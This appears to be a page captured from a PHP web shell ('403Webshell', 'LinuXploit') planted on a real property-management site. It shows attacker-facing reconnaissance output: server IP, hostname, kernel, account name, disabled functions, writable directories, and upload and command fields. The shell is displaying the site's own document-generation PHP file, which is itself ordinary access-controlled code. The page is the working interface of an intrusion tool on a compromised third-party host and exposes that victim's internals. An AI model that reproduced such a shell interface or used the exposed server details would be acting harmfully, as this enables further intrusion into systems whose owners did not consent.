403Webshell
Server IP : 72.60.21.38  /  Your IP : 216.73.217.154
Web Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u390967363/domains/aibenproperties.com/public_html/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u390967363/domains/aibenproperties.com/public_html/app/generate_document.php
<?php
session_start();
require_once 'includes/db.php';
require_once 'includes/functions.php';
require_once 'includes/doc_generator.php';

// Access Control
$allowed_roles = ['admin', 'super_admin', 'estate_manager', 'operations', 'operations_officer', 'finance', 'finance_officer'];
if (!isset($_SESSION['user_id']) || !in_array($_SESSION['user_role'], $allowed_roles)) {
    header("Location: dashboard.php");
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $type = $_POST['doc_type'];
    $id = $_POST['target_id'];
    
    if (empty($id)) {
        $_SESSION['error_msg'] = "Please select a record to generate the document for.";
        header("Location: " . $_SERVER['HTTP_REFERER']);
        exit;
    }

    $generator = new DocGenerator($pdo);
    $result = false;
    $msg = "Document generated successfully.";

    try {
        if ($type === 'allocation_letter') {
            $result = $generator->generateAllocationLetter($id, $_SESSION['user_id']);
        } elseif ($type === 'offer_letter') {
            $result = $generator->generateOfferLetter($id, $_SESSION['user_id']);
        } elseif ($type === 'offer_letter_client') {
            $result = $generator->generateOfferLetterForClient($id, $_SESSION['user_id']);
        } elseif ($type === 'lease_agreement') {
            $result = $generator->generateLeaseAgreement($id, $_SESSION['user_id']);
        } elseif ($type === 'receipt') {
            $result = $generator->generateReceipt($id, $_SESSION['user_id']);
        } elseif ($type === 'transfer_certificate') {
            $result = $generator->generateTransferCertificate($id, $_SESSION['user_id'], true);
        } elseif ($type === 'reallocation_letter') {
            $result = $generator->generateReallocationLetter($id, $_SESSION['user_id']);
        }

        if ($result) {
            if (in_array($type, ['allocation_letter','transfer_certificate','reallocation_letter'], true)) {
                try {
                    $stmt = $pdo->prepare("SELECT file_path FROM documents WHERE id = ? LIMIT 1");
                    $stmt->execute([$result]);
                    $file = $stmt->fetchColumn();
                    if ($file) {
                        header("Location: " . $file);
                        exit;
                    }
                } catch (Exception $e) {
                }
            }
            $_SESSION['success_msg'] = $msg;
        } else {
            $_SESSION['error_msg'] = "Failed to generate document. Please check if the record exists and has valid data.";
        }
    } catch (Exception $e) {
        $_SESSION['error_msg'] = "Error: " . $e->getMessage();
    }

    header("Location: " . $_SERVER['HTTP_REFERER']);
    exit;
} else {
    header("Location: dashboard.php");
    exit;
}

Youez - 2016 - github.com/yon3zu
LinuXploit